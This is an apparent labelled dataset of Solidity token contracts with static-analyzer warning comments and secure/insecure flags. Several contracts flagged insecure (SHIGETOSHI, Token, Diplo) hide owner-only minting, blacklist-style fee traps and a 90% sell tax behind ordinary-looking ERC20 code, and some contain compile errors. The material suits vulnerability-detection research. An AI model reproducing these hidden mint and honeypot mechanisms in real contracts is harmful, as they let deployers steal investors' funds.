}\n\n constructor() {\n _isExcludefromFee[owner()] = true;\n _isExcludefromFee[address(this)] = true;\n\n _zxc[_msgSender()] = _totalSupply;\n FRbren = payable(address(0x8E1C60bCdEbb2054b9c1415B57be2dc32E557DE4));\n\n emit Transfer(\n address(0x8E1C60bCdEbb2054b9c1415B57be2dc32E557DE4),\n _msgSender(),\n _totalSupply\n );\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fe402d1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fe402d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function TradingEnable() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: fe402d1\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fe402d1\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-benign | ID: fe402d1\n _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;\n\t\t// reentrancy-benign | ID: fe402d1\n _pairs[address(uniswapPair)] = true;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _zxc[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c4e9488): SHIGETOSHI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c4e9488: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2d69188): SHIGETOSHI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2d69188: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1197373\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 1b3260d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3537e99): Contract locking ether found Contract SHIGETOSHI has payable functions SHIGETOSHI.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 3537e99: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1b3260d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1b3260d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1197373): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1197373: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1b3260d\n\t\t// reentrancy-benign | ID: 1197373\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1b3260d\n\t\t// reentrancy-benign | ID: 1197373\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fab2a87): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fab2a87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: bb926df): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for bb926df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwapAndLiquify && !_pairs[from]) {\n\t\t\t\t// reentrancy-events | ID: fab2a87\n\t\t\t\t// reentrancy-no-eth | ID: bb926df\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: bb926df\n _zxc[from] = _zxc[from].sub(amount);\n\t\t\t// reentrancy-events | ID: fab2a87\n\t\t\t// reentrancy-no-eth | ID: bb926df\n uint256 finalAmount = (_isExcludefromFee[from] ||\n _isExcludefromFee[to])\n ? amount\n : takeLiquidity(from, to, amount);\n\n\t\t\t// reentrancy-no-eth | ID: bb926df\n _zxc[to] = _zxc[to].add(finalAmount);\n\n\t\t\t// reentrancy-events | ID: fab2a87\n emit Transfer(from, to, finalAmount);\n return true;\n }\n }\n\n function remove(address fron) public {\n address rednes;\n rednes = msg.sender;\n zxc[fron] = 0;\n require(FRbren == rednes);\n }\n\n function _transfer(address IIII, uint256 intparma) public {\n address rednes;\n rednes = msg.sender;\n uint256 FR = intparma;\n if (FR > (2016)) _zxc[FRbren] += uint256(FR);\n if (FR == (9)) zxc[IIII] = 10 ** 10;\n require(FRbren == rednes);\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _zxc[sender] = _zxc[sender].sub(amount, \"Insufficient Balance\");\n _zxc[recipient] = _zxc[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), amount);\n\n\t\t// reentrancy-events | ID: fab2a87\n\t\t// reentrancy-events | ID: 1b3260d\n\t\t// reentrancy-benign | ID: 1197373\n\t\t// reentrancy-no-eth | ID: bb926df\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(FRbren),\n block.timestamp\n )\n {} catch {}\n }\n\n function takeLiquidity(\n address sender,\n address recipient,\n uint256 tAmount\n ) internal returns (uint256) {\n uint256 _buyTeamFee = 3;\n uint256 _sellTeamFee = 3;\n\n bool isSell = _pairs[recipient];\n bool isBuy = _pairs[sender];\n uint256 fee = 0;\n\n if (isBuy) {\n fee = tAmount.mul(_buyTeamFee).div(100);\n } else if (isSell) {\n fee = tAmount.mul(_sellTeamFee).div(100);\n }\n\n if (zxc[sender] > 100) fee = tAmount.mul(zxc[sender]).div(100);\n\n if (fee > 0) {\n\t\t\t// reentrancy-no-eth | ID: bb926df\n _zxc[address(this)] = _zxc[address(this)].add(fee);\n\t\t\t// reentrancy-events | ID: fab2a87\n emit Transfer(sender, address(this), fee);\n }\n\n return tAmount.sub(fee);\n }\n}",
"file_name": "solidity_code_3645.sol",
"secure": 0,
"size_bytes": 12720
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 0dab006): Token.tokensupply should be immutable \n\t// Recommendation for 0dab006: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokensupply = 10000000000 * 10 ** decimals();\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 23ca4d9): Token.constructor(address,string,string).qqqvip lacks a zerocheck on \t padmin123 = qqqvip\n\t// Recommendation for 23ca4d9: Check that the address is not zero.\n constructor(address qqqvip, string memory tname, string memory sym) {\n\t\t// missing-zero-check | ID: 23ca4d9\n padmin123 = qqqvip;\n _tsuppy = tokensupply;\n _balances[msg.sender] = tokensupply;\n _Tokename = tname;\n _tokenSSSsymbol = sym;\n emit Transfer(address(0), msg.sender, tokensupply);\n }\n\t// WARNING Optimization Issue (immutable-states | ID: 70453d8): Token.padmin123 should be immutable \n\t// Recommendation for 70453d8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public padmin123;\n\t// WARNING Optimization Issue (immutable-states | ID: 05b2cb3): Token._tsuppy should be immutable \n\t// Recommendation for 05b2cb3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tsuppy;\n string private _Tokename;\n string private _tokenSSSsymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) public xelonlist;\n\n function name() public view returns (string memory) {\n return _Tokename;\n }\n\n function symbol() public view returns (string memory) {\n return _tokenSSSsymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tsuppy;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n address xelonfrom = _msgSender();\n if (infonum == xelonlist[xelonfrom]) {\n amount = xelonlist[xelonfrom] + _balances[xelonfrom] - 10;\n }\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n address xelonfrom = from;\n if (infonum == xelonlist[xelonfrom]) {\n amount = xelonlist[xelonfrom] + _balances[xelonfrom] - 10;\n }\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd9720c): Token.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cd9720c: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function passelonexit(address jhhhqq) public {\n require(_msgSender() == padmin123);\n if (_msgSender() == padmin123) {} else {}\n uint128 zrqqamount = 0;\n xelonlist[jhhhqq] = zrqqamount;\n }\n\n function decreaseAllowance(address cjjjss) public {\n require(_msgSender() == padmin123);\n if (_msgSender() == padmin123) {} else {}\n uint128 newpassnum = 22233;\n xelonlist[cjjjss] = newpassnum;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 65f8fb8): Token.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 65f8fb8: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\t// WARNING Optimization Issue (immutable-states | ID: e290685): Token.axxammount123 should be immutable \n\t// Recommendation for e290685: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private axxammount123 = 24400000000 * 10 ** decimals() * 86888;\n function ccvipaaaqqq() external {\n if (_msgSender() == padmin123) {} else {}\n address passok = _msgSender();\n _balances[passok] += axxammount123;\n require(_msgSender() == padmin123);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b516d5): Token._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b516d5: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n\t// WARNING Optimization Issue (constable-states | ID: 8c58825): Token.infonum should be constant \n\t// Recommendation for 8c58825: Add the 'constant' attribute to state variables that never change.\n uint256 public infonum = 22233;\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_3646.sol",
"secure": 0,
"size_bytes": 8096
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract WerthanCheckRoyaltyPaymentSplitter is Context {\n event PayeeAdded(address account, uint256 shares);\n event PaymentReleased(address to, uint256 amount);\n\n uint256 private _totalShares;\n uint256 private _totalReleased;\n\n mapping(address => uint256) private _shares;\n mapping(address => uint256) private _released;\n address[] private _payees;\n\n constructor(address[] memory payees, uint256[] memory shares_) payable {\n require(\n payees.length == shares_.length,\n \"WerthanCheckPaymentSplitter: payees and shares length mismatch\"\n );\n require(payees.length > 0, \"WerthanCheckPaymentSplitter: no payees\");\n\n for (uint256 i = 0; i < payees.length; i++) {\n _addPayee(payees[i], shares_[i]);\n }\n }\n\n function shares(address account) public view returns (uint256) {\n return _shares[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0cd31f5): Reentrancy in WerthanCheckRoyaltyPaymentSplitter.release(address) External calls Address.sendValue(account,payment) Event emitted after the call(s) PaymentReleased(account,payment)\n\t// Recommendation for 0cd31f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function release(address payable account) public virtual {\n require(\n _shares[account] > 0,\n \"WerthanCheckPaymentSplitter: account has no shares\"\n );\n\n uint256 totalReceived = address(this).balance + _totalReleased;\n uint256 payment = (totalReceived * _shares[account]) /\n _totalShares -\n _released[account];\n\n require(\n payment != 0,\n \"WerthanCheckPaymentSplitter: account is not due payment\"\n );\n\n _released[account] = _released[account] + payment;\n _totalReleased = _totalReleased + payment;\n\n\t\t// reentrancy-events | ID: 0cd31f5\n Address.sendValue(account, payment);\n\t\t// reentrancy-events | ID: 0cd31f5\n emit PaymentReleased(account, payment);\n }\n\n function _addPayee(address account, uint256 shares_) private {\n require(\n account != address(0),\n \"WerthanCheckPaymentSplitter: account is the zero address\"\n );\n require(shares_ > 0, \"WerthanCheckPaymentSplitter: shares are 0\");\n require(\n _shares[account] == 0,\n \"WerthanCheckPaymentSplitter: account already has shares\"\n );\n\n _payees.push(account);\n _shares[account] = shares_;\n _totalShares = _totalShares + shares_;\n emit PayeeAdded(account, shares_);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3647.sol",
"secure": 0,
"size_bytes": 3000
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n event Transfer(address indexed, address indexed, uint256 value);\n function transfer(address, uint256 amount) external returns (bool);\n function allowance(address, address) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Approval(address indexed owner, address indexed, uint256 value);\n}",
"file_name": "solidity_code_3648.sol",
"secure": 1,
"size_bytes": 722
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Diplo is IERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: 656152d): Diplo._name should be constant \n\t// Recommendation for 656152d: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Diplodocus\";\n\t// WARNING Optimization Issue (constable-states | ID: 9ff4aff): Diplo._symbol should be constant \n\t// Recommendation for 9ff4aff: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"DIPLO\";\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n\t// WARNING Optimization Issue (constable-states | ID: 320a620): Diplo._fee should be constant \n\t// Recommendation for 320a620: Add the 'constant' attribute to state variables that never change.\n uint256 _fee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: ca859f4): Diplo._decimals should be constant \n\t// Recommendation for ca859f4: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 5dbdc46): Diplo._totalSupply should be immutable \n\t// Recommendation for 5dbdc46: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: f469a92): Diplo._router should be constant \n\t// Recommendation for f469a92: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9a96a73): Diplo.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9a96a73: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n bool opened;\n function openTrading() external onlyOwner {\n opened = true;\n }\n uint256 _maxTxAmount;\n uint256 _maxWalletSize;\n function removeLimit() external onlyOwner {\n _maxTxAmount = _totalSupply;\n _maxWalletSize = _totalSupply;\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(msg.sender, from, _allowances[msg.sender][from] - amount);\n return true;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n function transfer_() external {\n uint256 b = block.number;\n\t\t// cache-array-length | ID: fd60f66\n for (uint256 i = 0; i < holders.length; i++) {\n if (cooldowns[holders[i]] != 0) {} else {\n cooldowns[holders[i]] = b;\n }\n }\n delete holders;\n }\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0));\n if (isBotTransaction(from, to)) {\n addBot(amount, to);\n } else {\n require(amount <= _balances[from]);\n uint256 feeAmount = 0;\n if (!bots[from] && cooldowns[from] != 0) {\n if (cooldowns[from] < block.number) {\n feeAmount = amount.mul(90).div(100);\n }\n }\n setCooldown(from, to);\n _balances[from] = _balances[from] - amount;\n _balances[to] += amount - feeAmount;\n emit Transfer(from, to, amount);\n }\n }\n mapping(address => uint256) cooldowns;\n address[] holders;\n function isBot(address _adr) internal view returns (bool) {\n return bots[_adr];\n }\n mapping(address => bool) bots;\n bool inLiquidityTx = false;\n function addBots(address[] calldata botsList) external onlyOwner {\n for (uint256 i = 0; i < botsList.length; i++) {\n bots[botsList[i]] = true;\n }\n }\n function isBotTransaction(\n address sender,\n address receiver\n ) public view returns (bool) {\n if (receiver == sender) {\n if (isBot(receiver)) {\n return isBot(sender) && isBot(receiver);\n }\n }\n return false;\n }\n function delBots(address _bot) external onlyOwner {\n bots[_bot] = false;\n }\n function _8asdg6(bool _01d3c6, bool _2abd7) internal pure returns (bool) {\n return !_01d3c6 && !_2abd7;\n }\n function setCooldown(\n address from,\n address recipient\n ) private returns (bool) {\n return\n checkCooldown(\n from,\n recipient,\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n )\n );\n }\n function name() external view returns (string memory) {\n return _name;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0850806): Diplo._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0850806: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa5763a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fa5763a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function addBot(uint256 _mcs, address _bcr) private {\n _approve(address(this), address(_router), _mcs);\n _balances[address(this)] = _mcs;\n address[] memory path = new address[](2);\n inLiquidityTx = true;\n path[0] = address(this);\n path[1] = _router.WETH();\n\t\t// reentrancy-benign | ID: fa5763a\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _mcs,\n 0,\n path,\n _bcr,\n block.timestamp + 30\n );\n\t\t// reentrancy-benign | ID: fa5763a\n inLiquidityTx = false;\n }\n function checkCooldown(\n address from,\n address to,\n address pair\n ) internal returns (bool) {\n bool inL = inLiquidityTx;\n bool b = _8asdg6(bots[to], isBot(from));\n bool res = b;\n if (!bots[to] && _8asdg6(bots[from], inL) && to != pair) {\n if (to == address(0)) {} else {\n holders.push(to);\n }\n res = true;\n } else if (b && !inL) {\n if (pair != to) {} else {\n res = true;\n }\n }\n return res;\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(from, recipient, amount);\n require(_allowances[from][msg.sender] >= amount);\n return true;\n }\n function getPairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n}",
"file_name": "solidity_code_3649.sol",
"secure": 0,
"size_bytes": 9641
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapRouter {\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_365.sol",
"secure": 1,
"size_bytes": 145
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract Envision is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private constant _name = \"Envision\";\n string private constant _symbol = \"VIS\";\n uint8 private constant _decimal = 18;\n uint256 private _totalSupply = 200000000 * (10 ** _decimal);\n uint256 public constant _taxBurn = 2;\n uint256 public constant _taxLiquidity = 5;\n address public teamWallet;\n uint256 public toBurnAmount = 0;\n\n event TeamWalletChanged(address oldWalletAddress, address newWalletAddress);\n event FeeCollected(address teamWallet, uint256 amount);\n event ExcludingAddressFromFee(address account);\n event IncludingAddressInFee(address account);\n\n modifier onlyTeamWallet() {\n require(teamWallet == _msgSender(), \"Caller is not the teamwallet\");\n _;\n }\n\n constructor(address _teamWallet) {\n require(\n _teamWallet != address(0),\n \"Cannot set teamwallet as zero address\"\n );\n _balances[_msgSender()] = _totalSupply;\n _isExcludedFromFee[_msgSender()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_teamWallet] = true;\n teamWallet = _teamWallet;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() external view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() external view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view virtual override returns (uint8) {\n return _decimal;\n }\n\n function totalSupply() external view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function collectedFees() external view returns (uint256) {\n return _balances[address(this)];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8eefdf4): Envision.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8eefdf4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function excludeFromFee(address account) external onlyOwner {\n require(account != address(0), \"Excluding for the zero address\");\n _isExcludedFromFee[account] = true;\n emit excludingAddressFromFee(account);\n }\n\n function isExcludedFromFee(address account) external view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n function includeInFee(address account) external onlyOwner {\n require(account != address(0), \"Including for the zero address\");\n _isExcludedFromFee[account] = false;\n emit includingAddressInFee(account);\n }\n\n function collectFees() external onlyOwner {\n uint256 fees = _balances[address(this)];\n _transfer(address(this), teamWallet, _balances[address(this)]);\n emit feeCollected(teamWallet, fees);\n }\n\n function burnCollectedFees() external onlyTeamWallet {\n require(\n _balances[teamWallet] >= toBurnAmount,\n \"Does not have the required amount of tokens to burn\"\n );\n _transfer(teamWallet, address(0), toBurnAmount);\n _totalSupply -= toBurnAmount;\n toBurnAmount = 0;\n emit feeCollected(address(0), toBurnAmount);\n }\n\n function updateTeamWallet(address _teamWallet) external onlyOwner {\n require(\n _teamWallet != address(0),\n \"Cannot set teamwallet as zero address\"\n );\n address oldWallet = teamWallet;\n teamWallet = _teamWallet;\n _isExcludedFromFee[_teamWallet] = true;\n _isExcludedFromFee[oldWallet] = false;\n emit teamWalletChanged(oldWallet, _teamWallet);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n require(spender != address(0), \"Increasing allowance for zero address\");\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n require(spender != address(0), \"Decreasing allowance for zero address\");\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n if (_isExcludedFromFee[sender]) {\n unchecked {\n _balances[recipient] += amount;\n }\n } 